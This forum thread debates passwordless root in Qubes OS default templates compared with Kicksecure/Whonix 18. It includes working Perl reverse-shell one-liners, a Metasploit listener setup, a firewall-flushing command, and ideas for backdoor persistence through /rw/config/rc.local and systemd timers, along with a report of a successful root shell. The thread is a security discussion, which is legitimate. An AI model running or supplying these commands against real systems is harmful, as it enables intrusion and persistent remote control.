Backdoors/reverse shells in AppVMs using the default templates are prevented by the hardening in Kicksecure 18 and Whonix Workstation 18

This setup was tested and it works…

  1. With a normal executable, save it as /rw/config/malware.sh and configure it to run again at every reboot through /rw/config/rc.local.
  2. The attack will repeat after every restart, and the attacker may gain persistent access to the Qube.
  3. This happens because the default Debian and Fedora templates do not disable or deactivate root access, and they grant high privileges to the normal user. Kicksecure and Whonix Gateway previously had this weakness in version 17, but in version 18 they removed root access for the normal user! It is optional to boot as root or as sysmaint, which is a user with root-level capabilities. Kicksecure 18 and Whonix Gateway 18 do not have the weakness found in the default templates! Here is an example attack using a reverse shell! (Not tested; I would like someone here to test it and report the results.)

AppVM with a default Debian or Fedora template where the normal user can become root with sudo su and gain complete control of the system

  1. After compromising the normal user account, the attacker only needs to run sudo su or su root to become root and control the entire system.
  2. Through Telegram or WhatsApp, if the victim is affected by a zero-click exploit, the attacker could do this without any additional defense being available. During web browsing, a malicious script could exploit a browser zero-day while running as the normal user, or achieve RCE and then become root with sudo su or su root.
  3. Create a reverse shell after becoming root. Consider this example on a private network. If the attacker is on another network, a reverse proxy accessible through the Internet would be required. The reverse shell would connect to the public IP address of the reverse proxy, and the attacker would need to host that reverse proxy on a VPS or something similar so that their computer, running the backdoor listener, could receive the connection.

I will show an example using a private network, but I do not know how to configure this in Qubes by creating an AppVM that has access to my router and private network. If you know how, please adapt it and…

Assuming the private network is:

  • Private network: 192.168.1.0/24
  • Victim: 192.168.1.10
  • Your IP: 192.168.1.50

I used this as a reference: Reverse Shell Cheat Sheet - Internal All The Things

Disable the AppVM firewall:

sudo nft flush ruleset

Example in Perl, although it may only work with other examples; several variations would need to be tested…

Reverse shell or backdoor in the Qubes AppVM

Perl reverse shell backdoor command

perl -e 'use Socket;$i="192.168.1.50";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

or perhaps

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.50:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Creating a backdoor listener on your PC with Metasploit using the multi/handler exploit and the cmd/unix/reverse_perl payload

Metasploit

Handler activated—the Metasploit backdoor listener

use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.3.50
set LPORT 4444
run

wait opened a shell/session!
If is working, so to get a persistence…

  1. Place the reverse-shell code in /rw/config, or configure an executable that generates the reverse shell, or locally exploit a vulnerability in another program to obtain remote access—for example, a browser or vulnerable application.

    Disable the firewall and kernel rules that would prevent the reverse shell from working by running sudo nft flush ruleset and other commands… (It is necessary to investigate which ones.)

    This executable can be placed inside /rw/config because the user can become root with sudo su.

  2. Persistence is guaranteed even after restarting the AppVM or standalone VM: /rw/config will always start the Perl reverse shell.

    /rw/config functions as a persistent backdoor for low-privilege attackers because the normal user can become root with sudo su or su root.

  3. This is not possible in named disposables because they use a disposable template, and writes to /rw/config are not persistent. The root filesystem, /home, and /rw are destroyed, so nothing persists. VMs that use the default templates would only be protected against this type of attack if they were named disposables.

Kicksecure 18 or Whonix Workstation 18 in an AppVM using the normal user account

In Kicksecure 18 and Whonix Workstation 18, under Settings and the Advanced tab

By default, they use the default user account, with root access locked, along with extensive hardening and permission restrictions.

Therefore:

  1. After compromising the normal user account, there is no sudo su or root-level access as there is in the standard templates.
  2. A normal user cannot write to /rw/config, copy executable files into /rw/config, or modify /rw/config/rc.local.
  3. Root-level persistence is limited, and using /rw/config/rc.local for malware or backdoor persistence becomes impractical.
  4. rc.local and /rw/config would only be accessible if the attacker escalated privileges to root through a local vulnerability. In the default Debian and Fedora templates, however, compromising the normal user is enough: the attacker only needs to run sudo su to become root and then use rc.local or /rw/config to maintain access.
  5. Even without compromising the template, the attacker could obtain root-level persistence by following this setup.
  6. Kicksecure and Whonix provide better security because they disable root access and harden system permissions.

Questions and requests

  1. Does Qubes have protection against these reverse shells and prevent them from working?
  2. Does Qubes’ security model intentionally leave root access available to the normal user in the default templates, without allowing users to select an option in the Advanced settings to boot as a normal user with hardening that prevents root access or provides more restricted privileges?

If what I have described works—and in theory it appears that it does—then this proves that security is improved by eliminating root access for the normal user, as Kicksecure 18 and Whonix Workstation 18 do. Hardening would prevent an attacker from establishing persistence in an AppVM.

When a vulnerable program allows privilege escalation to root, it may not always be possible to prevent the attack. However, many compromises can occur at the normal-user level without a privilege-escalation vector. In this case, the weaknesses in the default templates would allow root-level persistence in an AppVM without compromising the template itself.

  1. Would it be beneficial for all default templates to offer the option to boot as either a normal user or an administrative user, where the normal-user mode would not provide root access, like Kicksecure 18 and Whonix 18?

If this would not improve security, why did the developers of Kicksecure 18 and Whonix 18 eliminate root access for the normal user? I believe this is essential for Qubes security, and the default templates should offer this option as well—even if it only provides basic restrictions without the extensive hardening used by Kicksecure.

  1. I look forward to your responses. I hope someone tests this and tells me what they were able to do, and whether Kicksecure 18 and Whonix are preferable to use for this reason.
3 Likes

These discussions have been since many years, some find it not a real security risk. It is a choice to keep passwordless root for the general public, better usability etc.

I myself have all my VMs running without root. Everyone can delete passwordless root in their Template and open the template from Dom0 (qvm-run -u root) for maintenance. So the option is there for those who want, but to have this as default i am not sure about that.

2 Likes

Good news, I managed to set up a Kali Linux VM on another PC on the same network as an AppVM running Debian 13 XFCE template, using a USB network adapter and this tutorial:

It worked perfectly… with fedora default template probably will work!

The IP address of my Kali Linux VM running msfconsole and Metasploit, used as the reverse-shell listener, was:

Creating a backdoor listener on the Kali VM with Metasploit using a Perl payload

The IP address of the Qubes AppVM was 10.50.0.193 in this case. I entered it into the Kali Linux handler, which was on the same network:

use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_perl
set LHOST 10.50.0.193
set LPORT 4444
run

In the AppVM with the Debian 13 XFCE template, I ran the following command in a terminal:

perl -e 'use Socket;$i="10.50.0.193";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

On Kali, the session opened in Metasploit, and I obtained a shell:

whoami
root

It worked… Now, all that would be needed would be to write code to /rw/config/rc.local and copy a malicious script or binary to /rw/config; then, on every restart, the backdoor could be reactivated!

If /rw/config/rc.local fails with only this Perl command, we could create a service and a .timer that repeatedly checks whether the backdoor is active and reactivates it if it is down, so that the listener can always access the reverse shell—or to prevent a failure in the service that creates the reverse shell from being resolved by having the timer check and execute this command through the service!

It does not work on Kicksecure 18 and Whonix Workstation 18 because of the hardening.

That is why I think it is very dangerous to use AppVMs with these standard templates, and that the ideal approach is always to use Kicksecure 18 and Whonix Workstation 18 because of their hardening! It is an exceptional layer of security, wouldn’t you agree?

2 Likes

It is a start.

2 Likes

if qvm-firewall from dom0 is used instead the in-qube firewall?

1 Like

Indeed I remember reading similar discussions in the past years, but I hardly think we’ll reach a final solution that works for everyone. The pursue should continue, though. But let me address a few misconceptions first:

I am not part of Qubes team and speak for myself.

Persistence

You absolutely can obtain persistence in AppVMs by writing to /rw/config/<whatever> (<whatever> being mostly rc.local (ref.: Config files — Qubes OS 4.3.1 documentation) and qubes-bind-dirs.d/* (ref.: How to make any file persistent (bind-dirs) — Qubes OS 4.3.1 documentation); qubes will execute either of them at boot), if you have write access, usually restricted to the root account. However, persistence in AppVMs can also be obtained with your normal user account in other ways:

  • Official Qubes templates will execute at boot any desktop file located at ~/.config/autostart/*.desktop (ref.: How to install software — Qubes OS 4.3.1 documentation). I should clear out upfront: I don’t think there is nothing specifically wrong with that. And I hope I make it clear why in the next items;
  • An attacker infiltrated in your AppVM with user access could, hypothetically, exploit the configuration files of an application you always open in this AppVM, triggering some kind of exfiltration or remote code execution. For instance, writing to your ~/.bashrc, ~/.profile, ~/.vimrc, neovim lua files, etc. These are very real, easy targets, but certainly not an exhaustive list. Configuration files are a well-known attack vector (ref.: Software Extensions, Technique T1176 - Enterprise | MITRE ATT&CK®, Event Triggered Execution, Technique T1546 - Enterprise | MITRE ATT&CK®). And here you go, your attacker got persistence again;
  • How did the attacker gain control over user account in the first place? 0day exploit? Unpatched software? The attacker very likely can gain persistence by simply running the same attack again, can it not? The attacker can rely on the same exploit over and over again, without ever using persistence method in the AppVM. That’s a detail you can oversight, but important in real attacks.

So, you absolutely can persist malware in AppVMs without root, either through Qubes official support or being creative.

Beyond persistence

Threat model. Threat models everywhere. In your example, there at least 2 main ways to think about your threat model:

a) Access to your Telegram or WhatsApp account is your #1 asset to protect. Persisted access make things worse overtime when gone unnoticed. So an attacker infiltrated in your VM (be it DispVM or AppVM, where DispVM doesn’t have persistence off course) running as user account, can access your Telegram or WhatsApp messages already; they could hypothetically gain control over your Telegram or WhatsApp account, or at the very least, read all your messages. That’s game over, for this threat model, and persistence doesn’t even need to be involved;

b) Access to Telegram or WhatsApp, persisted access or not, is not your number #1 asset to protect. You care to protect Xen against extremely sophisticated and resourceful attackers (like rogue governments), therefore, limiting access from your VM to the root account can be used as an argument. In recent Xen security advisories, the pattern is that a successful exploit either requires root or it’s easier if you have root (I don’t have anywhere to back this claim, I just think it is somewhat true). I should point out, though:

  • I hardly think everyone fits in this threat model, I hope ; )
  • Although Xen security advisories in 2026 jumped in number compared to other recent years, successful Xen exploits seems to be the exception, not the rule (ref.: Xen Security Advisories)

There is no right answer here. There is the mostly right answer in your scenario. And I’m not saying allowing malware to persist is not a big deal, it is. But that’s the common and usually reasonable trade-off: initial access is already game over for that VM, persistence is a side-effect. If persistence is an absolutely no-no, use DispVMs then, and you’ll have a better time while at it.

Kicksecure

Kicksecure comes with a security feature called user-sysmaint-split enabled by default (in graphical user interface (GUI) (LXQt) version and Qubes version). This feature creates two separate user accounts:

  • user - for daily activities like browsing, writing documents, etc.
  • sysmaint - short for system maintenance; used for tasks that require administrative rights such as installing or updating software.

This separation improves security. For example, if malware compromises your web browser in the user session, it will not have permission to make critical system changes or install rootkits (malicious software that can hide in the system).

You only use the sysmaint account when you want to change system behavior, such as adding new programs, applying updates, or performing administrative tasks.

Ref.: sysmaint - System Maintenance User

You get persistence in AppVM with only a user account even in Kicksecure, where you may not have root. So if your concern is “persistent malware for the sake of persistence”, and not “root-level persistence”, Kicksecure will not save you. Moreover, I disagree with the title assumption: no, Kicksecure does not prevent backdoors/reverse shells. (This is not an attack to your tittle, don’t worry)

Conclusion

To your questions:

Yes and no. Qubes allows you to easily update all your templates easily. Patching software is a big deal, so this is a good protection at your disposal. It can not prevent certain types of software to be executed by the running kernel, no. Prevention is whole different complicated story. Further look into Intrusion detection system - Wikipedia (more specifically the “Intrusion Prevention System” part). Anti-virus is another way to look into the problem. Or if you research enough, you can use AppArmor to prevent per-process low-level actions, but that’s time-consuming to implement and maintain.

So, in summary, it’s complicated. Different people need different levels of protection. I would dare to say you are likely good following well-known good security hygiene and keeping your dom0 and templates up-to-date. Dig deeper if you can, overtime.

It all started here: Passwordless root access in qubes — Qubes OS 4.3.1 documentation

Although Joanna’s argument against polkit is no longer true (it seems, ref.: Remove outdated comment · QubesOS/qubes-core-agent-linux@cf4e22c · GitHub), the logic behind is. Access to user data is, usually, already game over, as I tried to explain above. The default behavior seems what Qubes team agreed to be true for the majority of people. I suppose it is expected that if that’s not your threat model, you are likely to have the skills to tweak the template to fit your needs.

As tommy mentioned, you can get what you want today. Sure, it’s not as easy as how Kicksecure implements it. But to your question, maybe, yes. I don’t know. I would, however, emphasize the potential danger of users accidently misunderstanding the feature, take as example op’s title and description, thinking it would “prevent backdoors/revershells”, while it just doesn’t. It is usually a minor detail easily fixable with documentation, but important to be addressed officially.

I should end this post with the great blog post from Joanna, which I think is relevant to this discussion, and something to think about: The Game Is Over! | The Invisible Things Blog

I am not part of Qubes team and speak for myself.

1 Like

See also: